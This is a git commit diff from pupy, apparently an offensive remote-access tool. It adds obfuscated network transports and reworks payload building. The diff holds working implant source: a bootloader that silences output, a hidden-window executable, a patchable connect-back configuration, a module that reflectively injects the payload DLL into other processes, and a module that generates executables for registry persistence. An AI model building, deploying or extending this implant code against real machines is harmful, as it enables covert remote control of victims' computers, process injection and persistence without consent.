obfsproxy pluggable transports now works on windows ! ex: ./pupygen --transport obfs3 && ./pupysh --transport obfs3

This commit is contained in:
n1nj4sec 2015-10-23 19:16:11 +02:00
parent 14895b05fc
commit 3af2a4455d
21 changed files with 166 additions and 172 deletions

1
.gitignore vendored
View File

@ -32,6 +32,7 @@ client/**/*.py[cod]
pupy/*.py[cod] pupy/*.py[cod]
pupy/pupylib/**/*.py[cod] pupy/pupylib/**/*.py[cod]
pupy/modules/*.py[cod] pupy/modules/*.py[cod]
pupy/network/**/*.py[cod]
# do not ignore package & templates files # do not ignore package & templates files
!pupy/packages/ !pupy/packages/

View File

@ -17,22 +17,22 @@ if not (len(sys.argv)==3 and sys.argv[1]=="genzip"):
exit("This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub\nplease don't use this if you don't want to recompile from sources") exit("This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub\nplease don't use this if you don't want to recompile from sources")
if sys.argv[2] == 'x86': if sys.argv[2] == 'x86':
outname = 'x86' outname = 'x86'
platform = 'x86' platform = '32'
elif sys.argv[2] == 'x64': elif sys.argv[2] == 'x64':
outname = 'x64' outname = 'x64'
platform = 'amd64' platform = '-amd64'
else: else:
exit('unsupported platform') exit('unsupported platform')
sys.argv=[sys.argv[0],"py2exe"] sys.argv=[sys.argv[0],"py2exe"]
# put necessary library patches/includes/whatever in this directory # put necessary library patches/includes/whatever in this directory
sys.path.insert(0, "sources/resources/library_patches") sys.path.insert(0, os.path.join("sources","resources","library_patches"))
sys.path.insert(0, os.path.join("..","pupy"))
setup( setup(
data_files = [(".", glob(r'.\RESOURCES_x86\msvcr90.dll'))], #data_files = [(".", glob(r'.\RESOURCES_x86\msvcr90.dll'))],
console=['reverse_ssl.py'], console=['..\\pupy\\pp.py'],
#windows=['reverse_ssl.py'], #windows=['reverse_ssl.py'],
#zipfile=None, #zipfile=None,
options={ "py2exe" : { options={ "py2exe" : {
@ -49,19 +49,25 @@ excluded_files = [
'library.zip', 'library.zip',
'mswsock.dll', 'mswsock.dll',
'python27.dll', 'python27.dll',
'pp.exe',
'w9xpopen.exe',
] ]
def zwalk(path, zf): def zwalk(path, zf):
for root, dirs, files in os.walk(path): for root, dirs, files in os.walk(path):
for file in files: for file in files:
if file.lower() in excluded_files: if file.lower() in excluded_files:
pass pass
elif file.endswith('.pyd') and "." in file.rsplit(".",1)[0]:
arch_path="/".join(file.rsplit(".",1)[0].split('.'))
zf.write(os.path.join(root,file),arcname=arch_path+".pyd")
else: else:
zf.write(os.path.join(root, file)) zf.write(os.path.join(root, file))
with zipfile.ZipFile('sources/resources/library%s.zip' % outname, 'w', zipfile.ZIP_DEFLATED) as zf: with zipfile.ZipFile('sources/resources/library%s.zip' % outname, 'w', zipfile.ZIP_DEFLATED) as zf:
root = os.getcwd() root = os.getcwd()
os.chdir('build/bdist.win-%s/winexe/collect-2.7' % platform) os.chdir('build/bdist.win%s/winexe/collect-2.7' % platform)
zwalk('.', zf) zwalk('.', zf)
os.chdir('%s/dist' % root) os.chdir('%s/dist' % root)
zwalk('.', zf) zwalk('.', zf)

View File

@ -4,7 +4,6 @@ PYTHONPATH=C:/Python27
PYTHON=$(PYTHONPATH)/python.exe PYTHON=$(PYTHONPATH)/python.exe
TEMPLATE_OUTPUT_PATH=..\..\pupy\payload_templates TEMPLATE_OUTPUT_PATH=..\..\pupy\payload_templates
ifndef ARCH ifndef ARCH
$(error You must specify an architecture.) $(error You must specify an architecture.)
else else
@ -14,14 +13,20 @@ else
CFLAGS:=$(CFLAGS) /DWIN_X86 CFLAGS:=$(CFLAGS) /DWIN_X86
endif endif
endif endif
ifdef DEBUG
DEBUG_ADD:=DEBUG
CFLAGS:= $(CFLAGS) /DDEBUG
else
DEBUG_ADD:=
endif
PYOBJS=_memimporter.obj MyLoadLibrary.obj Python-dynload.obj pupy_load.obj pupy.obj base_inject.obj PYOBJS=_memimporter.obj MyLoadLibrary.obj Python-dynload.obj pupy_load.obj pupy.obj base_inject.obj
COMMON_OBJS=resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj resources_library_compressed_string_txt.obj actctx.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj resources_msvcr90_dll.obj COMMON_OBJS=resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj resources_library_compressed_string_txt.obj actctx.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj resources_msvcr90_dll.obj
all: $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).exe $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).dll all: $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).exe $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).dll
resources\library_compressed_string_$(ARCH).txt: gen_library_compressed_string.py resources\library_compressed_string_$(ARCH).txt: gen_library_compressed_string.py resources\library$(ARCH).zip
$(PYTHON) $+ $(PYTHON) gen_library_compressed_string.py
resources\library_compressed_string.txt: resources\library_compressed_string_$(ARCH).txt resources\library_compressed_string.txt: resources\library_compressed_string_$(ARCH).txt
copy $< $@ copy $< $@
@ -29,8 +34,8 @@ resources\library_compressed_string.txt: resources\library_compressed_string_$(A
resources_library_compressed_string_txt.c: gen_resource_header.py resources\library_compressed_string.txt resources_library_compressed_string_txt.c: gen_resource_header.py resources\library_compressed_string.txt
$(PYTHON) $+ $(PYTHON) $+
resources\bootloader.pyc: gen_python_bootloader.py ..\..\pupy\packages\all\pupyimporter.py resources\bootloader.pyc: gen_python_bootloader.py ..\..\pupy\packages\all\pupyimporter.py ..\..\pupy\pp.py
$(PYTHON) $+ $(PYTHON) gen_python_bootloader.py $(DEBUG_ADD)
resources_bootloader_pyc.c: gen_resource_header.py resources\bootloader.pyc resources_bootloader_pyc.c: gen_resource_header.py resources\bootloader.pyc
$(PYTHON) $+ $(PYTHON) $+
@ -50,6 +55,9 @@ resources_msvcr90_dll.c: gen_resource_header.py resources\msvcr90.dll
$(PYOBJS): %.obj: %.c $(PYOBJS): %.obj: %.c
$(CC) /c $(CFLAGS) /I$(PYTHONPATH)/include $< $(CC) /c $(CFLAGS) /I$(PYTHONPATH)/include $<
main_exe.obj: main_exe.c
$(CC) /c $(CFLAGS) $<
%.obj: %.c %.obj: %.c
$(CC) /c $(CFLAGS) $< $(CC) /c $(CFLAGS) $<
@ -57,7 +65,7 @@ ReflectiveLoader.obj: ReflectiveLoader.c
$(CC) /c $(CFLAGS) /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /O2 /Ob1 $< $(CC) /c $(CFLAGS) /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /O2 /Ob1 $<
$(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS) $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS)
$(CC) $(CFLAGS) $+ /Fe$@ $(CC) $(CFLAGS) $+ /Fe$@
$(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS) $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS)
$(CC) $(CFLAGS) $+ /Fe$@ /LD $(CC) $(CFLAGS) $+ /Fe$@ /LD

View File

@ -1,5 +1,6 @@
#!/usr/bin/env python #!/usr/bin/env python
# -*- coding: UTF8 -*- # -*- coding: UTF8 -*-
import sys
import marshal import marshal
import struct import struct
import base64 import base64
@ -20,7 +21,8 @@ sys.stdout = Blackhole()
sys.stderr = Blackhole() sys.stderr = Blackhole()
del Blackhole del Blackhole
""" """
#remove_stdout="" if len(sys.argv)==2 and sys.argv[1].strip().lower()=="debug":
remove_stdout=""
def get_load_module_code(code, modulename): def get_load_module_code(code, modulename):
loader=""" loader="""
import imp, sys import imp, sys
@ -42,9 +44,9 @@ if __name__=="__main__":
with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f: with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f:
code=f.read() code=f.read()
code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "<string>", "exec")) code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "<string>", "exec"))
code_bytes.append(compile("import pupyimporter;pupyimporter.install()\n", "<string>", "exec")) code_bytes.append(compile("import pupyimporter;pupyimporter.install();pupyimporter.load_pywintypes()\n", "<string>", "exec"))
#code_bytes.append(compile("import platform; print platform.uname()\n", "<string>", "exec")) #code_bytes.append(compile("import platform; print platform.uname()\n", "<string>", "exec"))
with open(os.path.join("..","reverse_ssl.py")) as f: with open(os.path.join("..",'..','pupy',"pp.py")) as f:
code=f.read() code=f.read()
code_bytes.append(compile(code+"\n", "<string>", "exec")) code_bytes.append(compile(code+"\n", "<string>", "exec"))
code_bytes=marshal.dumps(code_bytes) code_bytes=marshal.dumps(code_bytes)

View File

@ -3,20 +3,11 @@
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include "pupy_load.h" #include "pupy_load.h"
#ifndef DEBUG
#pragma comment(linker, "/subsystem:windows /ENTRY:mainCRTStartup")
#endif
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
/* value "<default_connect_back_host>:<default_connect_back_port>" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */
char connect_back_host[100]="<default_connect_back_host>:<default_connect_back_port>"; //big array to have space for big domain names.
int main(int argc, char *argv[]){ int main(int argc, char *argv[]){
if (argc==2){
memcpy(connect_back_host, argv[1], strlen(argv[1])+1);
}
if(strcmp(connect_back_host,"<default_connect_back_host>:<default_connect_back_port>")==0){
printf("usage: %s <host>:<port>",argv[0]);
return 1;
}
return mainThread(NULL); return mainThread(NULL);
} }

View File

@ -1,16 +1,14 @@
/* /*
* Author : Nicolas VERDIER # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
* # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/ */
//#pragma comment(lib, "user32")
#pragma comment(lib, "user32")
#include <windows.h> #include <windows.h>
#include "pupy_load.h" #include "pupy_load.h"
#include "ReflectiveDllInjection.h" #include "ReflectiveDllInjection.h"
/* value "<default_connect_back_host>:<default_connect_back_port>" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */
char connect_back_host[100]="<default_connect_back_host>:<default_connect_back_port>"; //big array to have space for big domain names.
extern HINSTANCE hAppInstance; extern HINSTANCE hAppInstance;
//===============================================================================================// //===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )

View File

@ -1,6 +1,6 @@
/* /*
For the pupy_builtins compiled into pupy exe and reflective DLL stubs we need "Python-dynload.h". # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
For the standalone .pyd we need <Python.h> # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/ */
#include "Python-dynload.h" #include "Python-dynload.h"
@ -11,11 +11,7 @@ static char module_doc[] = "Builtins utilities for pupy";
extern const char resources_library_compressed_string_txt_start[]; extern const char resources_library_compressed_string_txt_start[];
extern const int resources_library_compressed_string_txt_size; extern const int resources_library_compressed_string_txt_size;
#ifndef STANDALONE char pupy_config[4096]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup
extern char connect_back_host[100];
#else
char connect_back_host[100] = "0.0.0.0:443";
#endif
extern const DWORD dwPupyArch; extern const DWORD dwPupyArch;
static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args) static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args)
{ {
@ -23,10 +19,11 @@ static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args
} }
static PyObject * static PyObject *
Py_get_connect_back_host(PyObject *self, PyObject *args) Py_get_pupy_config(PyObject *self, PyObject *args)
{ {
return Py_BuildValue("s", connect_back_host); return Py_BuildValue("s", pupy_config);
} }
static PyObject *Py_get_arch(PyObject *self, PyObject *args) static PyObject *Py_get_arch(PyObject *self, PyObject *args)
{ {
if(dwPupyArch==PROCESS_ARCH_X86){ if(dwPupyArch==PROCESS_ARCH_X86){
@ -73,7 +70,7 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args)
} }
static PyMethodDef methods[] = { static PyMethodDef methods[] = {
{ "get_connect_back_host", Py_get_connect_back_host, METH_NOARGS, "get_connect_back_host() -> (ip, port)" }, { "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" },
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" }, { "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
{ "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS }, { "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS },
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" }, { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },

View File

@ -1,3 +1,8 @@
/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/
#define QUIET // uncomment to avoid debug prints #define QUIET // uncomment to avoid debug prints
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
@ -9,10 +14,6 @@
#include "resource_python_manifest.c" #include "resource_python_manifest.c"
#include "base_inject.h" #include "base_inject.h"
HANDLE MyActCtx;
static ULONG_PTR actToken;
extern const char resources_python27_dll_start[]; extern const char resources_python27_dll_start[];
extern const int resources_python27_dll_size; extern const int resources_python27_dll_size;
extern const char resources_bootloader_pyc_start[]; extern const char resources_bootloader_pyc_start[];
@ -46,15 +47,6 @@ DWORD WINAPI mainThread(LPVOID lpArg)
char tmp_manifest_path[MAX_PATH]; char tmp_manifest_path[MAX_PATH];
char tmp_path[MAX_PATH]; char tmp_path[MAX_PATH];
ULONG_PTR cookie = 0; ULONG_PTR cookie = 0;
/*
ACTCTX ctx;
BOOL activated;
HANDLE k32;
HANDLE (WINAPI *CreateActCtx)(PACTCTX pActCtx);
BOOL (WINAPI *ActivateActCtx)(HANDLE hActCtx, ULONG_PTR *lpCookie);
void (WINAPI *AddRefActCtx)(HANDLE hActCtx);
BOOL (WINAPI *DeactivateActCtx)(DWORD dwFlags, ULONG_PTR ulCookie);
*/
PyGILState_STATE restore_state; PyGILState_STATE restore_state;
if(!GetModuleHandle("msvcr90.dll")){ if(!GetModuleHandle("msvcr90.dll")){
@ -71,47 +63,10 @@ DWORD WINAPI mainThread(LPVOID lpArg)
GetTempPath(MAX_PATH, tmp_path); GetTempPath(MAX_PATH, tmp_path);
//InitializeCriticalSection(&csInit); //InitializeCriticalSection(&csInit);
/*
k32 = LoadLibrary("kernel32");
CreateActCtx = (void*)GetProcAddress(k32, "CreateActCtxA");
ActivateActCtx = (void*)GetProcAddress(k32, "ActivateActCtx");
AddRefActCtx = (void*)GetProcAddress(k32, "AddRefActCtx");
DeactivateActCtx = (void*)GetProcAddress(k32, "DeactivateActCtx");
if (!CreateActCtx || !ActivateActCtx)
{
return 0;
}
ZeroMemory(&ctx, sizeof(ctx));
ctx.cbSize = sizeof(ACTCTX);
GetTempFileName(tmp_path, "tmp", 0, tmp_manifest_path);
f=fopen(tmp_manifest_path,"w");
fprintf(f,"%s",resource_python_manifest);
fclose(f);
#ifndef QUIET
fprintf(stderr,"manifest written to %s\n",tmp_manifest_path);
#endif
ctx.lpSource = tmp_manifest_path;
MyActCtx=CreateActCtx(&ctx);
if (MyActCtx != NULL)
{
AddRefActCtx(MyActCtx);
}
#ifndef QUIET
DeleteFile(tmp_manifest_path);
#endif
*/
if(!Py_IsInitialized) if(!Py_IsInitialized)
{ {
int res=0; int res=0;
//activated = ActivateActCtx(MyActCtx, &actToken);
//cookie=_My_ActivateActCtx();
if(GetModuleHandle("python27.dll")){ if(GetModuleHandle("python27.dll")){
HANDLE hp; HANDLE hp;
#ifndef QUIET #ifndef QUIET
@ -144,7 +99,6 @@ DWORD WINAPI mainThread(LPVOID lpArg)
fprintf(stderr,"python interpreter loaded\n"); fprintf(stderr,"python interpreter loaded\n");
#endif #endif
} }
//_My_DeactivateActCtx(cookie);
} }
#ifndef QUIET #ifndef QUIET
fprintf(stderr,"calling PyEval_InitThreads() ...\n"); fprintf(stderr,"calling PyEval_InitThreads() ...\n");
@ -177,15 +131,12 @@ DWORD WINAPI mainThread(LPVOID lpArg)
fprintf(stderr,"initpupy()\n"); fprintf(stderr,"initpupy()\n");
#endif #endif
//mod = PyImport_ImportModule("sys");
//MessageBoxA(0, "hey ! :D", "DLL Message", MB_OK | MB_ICONINFORMATION);
/* We execute then in the context of '__main__' */ /* We execute then in the context of '__main__' */
#ifndef QUIET #ifndef QUIET
fprintf(stderr,"starting evaluating python code ...\n"); fprintf(stderr,"starting evaluating python code ...\n");
#endif #endif
//PyRun_SimpleString("print 'ok from python'");
m = PyImport_AddModule("__main__"); m = PyImport_AddModule("__main__");
if (m) d = PyModule_GetDict(m); if (m) d = PyModule_GetDict(m);
if (d) seq = PyMarshal_ReadObjectFromString(resources_bootloader_pyc_start, resources_bootloader_pyc_size); if (d) seq = PyMarshal_ReadObjectFromString(resources_bootloader_pyc_start, resources_bootloader_pyc_size);
@ -206,16 +157,7 @@ DWORD WINAPI mainThread(LPVOID lpArg)
} }
} }
PyGILState_Release(restore_state); PyGILState_Release(restore_state);
//if (PyErr_Occurred())
// PyErr_Print();
Py_Finalize(); Py_Finalize();
/*
if (!DeactivateActCtx(0, actToken)){
#ifndef QUIET
fprintf(stderr,"LOADER: Error deactivating context!\n!");
#endif
}
*/
//DeleteCriticalSection(&csInit); //DeleteCriticalSection(&csInit);
return 0; return 0;

View File

@ -48,10 +48,10 @@ class MigrateModule(PupyModule):
if self.client.conn.modules['pupwinutils.processes'].is_process_64(pid): if self.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
isProcess64bits=True isProcess64bits=True
self.success("process is 64 bits") self.success("process is 64 bits")
dllbuff=pupygen.get_edit_pupyx64_dll(host, port) dllbuff=pupygen.get_edit_pupyx64_dll(host, port, self.client.pupsrv.transport)
else: else:
self.success("process is 32 bits") self.success("process is 32 bits")
dllbuff=pupygen.get_edit_pupyx86_dll(host, port) dllbuff=pupygen.get_edit_pupyx86_dll(host, port, self.client.pupsrv.transport)
self.success("injecting DLL in target process %s ..."%pid) self.success("injecting DLL in target process %s ..."%pid)
self.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits) self.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
self.success("DLL injected !") self.success("DLL injected !")

View File

@ -46,9 +46,9 @@ class PersistenceModule(PupyModule):
#generating exe #generating exe
self.info("generating exe ...") self.info("generating exe ...")
if self.client.desc['proc_arch']=="64bit": if self.client.desc['proc_arch']=="64bit":
exebuff=pupygen.get_edit_pupyx64_exe(host, port) exebuff=pupygen.get_edit_pupyx64_exe(host, port, self.pupsrv.transport)
else: else:
exebuff=pupygen.get_edit_pupyx86_exe(host, port) exebuff=pupygen.get_edit_pupyx86_exe(host, port, self.pupsrv.transport)
if args.method=="registry": if args.method=="registry":
self.client.load_package("pupwinutils.persistence") self.client.load_package("pupwinutils.persistence")

View File

@ -1,5 +1,6 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*- # -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
class Circuit(object): class Circuit(object):
""" alias for obfsproxy style syntax""" """ alias for obfsproxy style syntax"""

View File

@ -1,6 +1,6 @@
# This file has been taken from obfsproxy project
# Using the same buffer object as in obfsproxy to enhance compatibility # Using the same buffer object as in obfsproxy to enhance compatibility
#some modifications brings to have waiting capabilities
import threading
class Buffer(object): class Buffer(object):
""" """
A Buffer is a simple FIFO buffer. You write() stuff to it, and you A Buffer is a simple FIFO buffer. You write() stuff to it, and you
@ -13,9 +13,20 @@ class Buffer(object):
""" """
self.buffer = bytes(data) self.buffer = bytes(data)
self.on_write_f=on_write self.on_write_f=on_write
self.waiting_lock=threading.Lock()
self.waiting=threading.Event()
def on_write(self): def on_write(self):
if self.on_write_f: if self.on_write_f:
self.on_write_f() self.on_write_f()
def wait(self, timeout=0.1):
""" wait for a size """
with self.waiting_lock:
self.waiting.clear()
self.waiting.wait(timeout)
def read(self, n=-1): def read(self, n=-1):
""" """
Read and return 'n' bytes from the buffer. Read and return 'n' bytes from the buffer.
@ -38,8 +49,10 @@ class Buffer(object):
""" """
Append 'data' to the buffer. Append 'data' to the buffer.
""" """
self.buffer = self.buffer + data with self.waiting_lock:
self.on_write() self.buffer = self.buffer + data
self.on_write()
self.waiting.set()
def peek(self, n=-1): def peek(self, n=-1):
""" """

Binary file not shown.

View File

@ -1,5 +1,6 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*- # -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from .servers import PupyTCPServer from .servers import PupyTCPServer
from .clients import PupyTCPClient, PupySSLClient from .clients import PupyTCPClient, PupySSLClient
from .transports import dummy, b64 from .transports import dummy, b64
@ -14,18 +15,18 @@ except ImportError:
from rpyc.utils.authenticators import SSLAuthenticator from rpyc.utils.authenticators import SSLAuthenticator
ssl_auth=None ssl_auth=None
config = configparser.ConfigParser()
try: def ssl_authenticator():
config = configparser.ConfigParser()
config.read("pupy.conf") config.read("pupy.conf")
except Exception: return SSLAuthenticator(config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH")
logging.error("couldn't read pupy.conf")
transports={ transports={
"tcp_ssl" : { "tcp_ssl" : {
"server" : PupyTCPServer, "server" : PupyTCPServer,
"client": PupySSLClient, "client": PupySSLClient,
"client_kwargs" : {}, "client_kwargs" : {},
"authenticator" : SSLAuthenticator(config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH"), "authenticator" : ssl_authenticator,
"stream": PupySocketStream , "stream": PupySocketStream ,
"client_transport" : dummy.DummyPupyTransport, "client_transport" : dummy.DummyPupyTransport,
"server_transport" : dummy.DummyPupyTransport, "server_transport" : dummy.DummyPupyTransport,

Binary file not shown.

View File

@ -1,6 +1,8 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*- # -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
""" abstraction layer over rpyc streams to handle different transports and integrate obfsproxy pluggable transports """ """ abstraction layer over rpyc streams to handle different transports and integrate obfsproxy pluggable transports """
import sys
from rpyc.core import SocketStream from rpyc.core import SocketStream
from .buffer import Buffer from .buffer import Buffer
import socket import socket
@ -9,6 +11,8 @@ import errno
import logging import logging
import traceback import traceback
from rpyc.lib.compat import select, select_error, BYTES_LITERAL, get_exc_errno, maxint from rpyc.lib.compat import select, select_error, BYTES_LITERAL, get_exc_errno, maxint
import threading
retry_errnos = (errno.EAGAIN, errno.EWOULDBLOCK)
class PupySocketStream(SocketStream): class PupySocketStream(SocketStream):
def __init__(self, sock, transport_class): def __init__(self, sock, transport_class):
@ -21,6 +25,9 @@ class PupySocketStream(SocketStream):
self.downstream=Buffer(on_write=self._upstream_recv) self.downstream=Buffer(on_write=self._upstream_recv)
self.transport=transport_class(self) self.transport=transport_class(self)
self.on_connect() self.on_connect()
#self.async_read_thread=threading.Thread(target=self._downstream_recv_loop)
#self.async_read_thread.daemon=True
#self.async_read_thread.start()
def on_connect(self): def on_connect(self):
self.transport.on_connect() self.transport.on_connect()
@ -28,7 +35,6 @@ class PupySocketStream(SocketStream):
def _read(self): def _read(self):
try: try:
#buf = self.sock.recv(min(self.MAX_IO_CHUNK, count))
buf = self.sock.recv(self.MAX_IO_CHUNK) buf = self.sock.recv(self.MAX_IO_CHUNK)
except socket.timeout: except socket.timeout:
return return
@ -52,23 +58,29 @@ class PupySocketStream(SocketStream):
def _upstream_recv(self): def _upstream_recv(self):
""" called as a callback on the downstream.write """ """ called as a callback on the downstream.write """
#print "upstream_recv"
#print "downstream=%s"%len(self.downstream)
#print "upstream=%s"%len(self.upstream)
if len(self.downstream)>0: if len(self.downstream)>0:
#print "writing %s"%len(self.downstream.peek())
super(PupySocketStream, self).write(self.downstream.read()) super(PupySocketStream, self).write(self.downstream.read())
def _downstream_recv_loop(self):
try:
while True:
self._read()
self.transport.downstream_recv(self.buf_in)
except EOFError as e:
self.upstream.set_eof(e)
def read(self, count): def read(self, count):
try: try:
if len(self.upstream)>=count: if len(self.upstream)>=count:
return self.upstream.read(count) return self.upstream.read(count)
while len(self.upstream)<count: while len(self.upstream)<count:
if self.sock_poll(0):#to avoid waiting on the socket while a transport write on the upstream buffer resulting in deadlock if self.sock_poll(0):
self._read() self._read()
self.transport.downstream_recv(self.buf_in) self.transport.downstream_recv(self.buf_in)
if len(self.upstream)<count: #it seems we can actively wait here with only perf enhancement
time.sleep(0.1)#to avoid active wait #if len(self.upstream)<count:
# self.upstream.wait(0.1)#to avoid active wait
return self.upstream.read(count) return self.upstream.read(count)
except Exception as e: except Exception as e:
logging.debug(traceback.format_exc()) logging.debug(traceback.format_exc())

Binary file not shown.

View File

@ -54,7 +54,7 @@ class PupyPackageLoader:
self.extension = extension self.extension = extension
self.is_pkg=is_pkg self.is_pkg=is_pkg
self.path=path self.path=path
#self.archive="" self.archive="" #need this attribute
def load_module(self, fullname): def load_module(self, fullname):
imp.acquire_lock() imp.acquire_lock()
@ -159,7 +159,18 @@ class PupyPackageFinder:
finally: finally:
imp.release_lock() imp.release_lock()
def load_pywintypes():
#loading pywintypes27.dll :-)
global modules
try:
import pupy
pupy.load_dll("pywintypes27.dll", modules["pywintypes27.dll"])
except Exception as e:
print e
pass
def install(): def install():
sys.meta_path.append(PupyPackageFinder(modules)) sys.meta_path.append(PupyPackageFinder(modules))
sys.path_importer_cache.clear() sys.path_importer_cache.clear()

View File

@ -1,5 +1,19 @@
#!/usr/bin/env python #!/usr/bin/env python
# -*- coding: UTF8 -*- # -*- coding: UTF8 -*-
# ---------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# ---------------------------------------------------------------
import site import site
import sys import sys
import time import time
@ -79,6 +93,7 @@ def get_next_wait(attempt):
else: else:
return random.randint(15,30) return random.randint(15,30)
def add_pseudo_pupy_module(HOST): def add_pseudo_pupy_module(HOST):
""" add a pseudo pupy module for *nix payloads """ """ add a pseudo pupy module for *nix payloads """
if not "pupy" in sys.modules: if not "pupy" in sys.modules:
@ -90,9 +105,10 @@ def add_pseudo_pupy_module(HOST):
mod.get_connect_back_host=(lambda : HOST) mod.get_connect_back_host=(lambda : HOST)
mod.pseudo=True mod.pseudo=True
HOST="127.0.0.1:443"
TRANSPORT="tcp_ssl"
def main(): def main():
HOST="127.0.0.1:443" global HOST, TRANSPORT
TRANSPORT="tcp_ssl"
if len(sys.argv)>1: if len(sys.argv)>1:
